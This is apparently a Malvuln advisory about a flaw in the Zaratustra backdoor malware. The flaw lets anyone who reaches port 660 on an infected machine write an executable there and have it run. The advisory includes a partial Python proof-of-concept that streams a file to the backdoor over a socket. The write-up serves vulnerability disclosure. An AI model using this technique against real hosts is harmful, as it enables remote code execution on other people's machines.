Backdoor.Win32.Zaratustra malware suffers from an unauthenticated remote file write that can be leveraged to execute arbitrary code.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f240c16af2189ea9c94f317281ce7e59.txt
Contact: [email protected]
Vulnerability: Unauthenticated Remote File Write (Remote Code Exec)
Description: Zaratustra malware listens on TCP port 660. Third-party attackers who can reach infected systems can use a socket program to write binary data to execute. The malware then writes that data to a file named "x.exe" under c: drive and will execute upon completion of the downloaded code.
Vuln ID: MVID-2021-0315
Dropped files: x.exe
from socket import *
#Has to be done slowly or will crash the backdoor.
#Tested sucessfully with an 11.5 KB executable
#Compile #define WIN32_LEAN_AND_MEAN, linker strip executable etc.. try make small as possible.
HOST = "x.x.x.x"
PORT = 660
BUF_SIZE = 32
with open("DOOM.exe", "rb") as f:
bytez = f.read(BUF_SIZE)
if not bytez:
print(" Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write - RCE")
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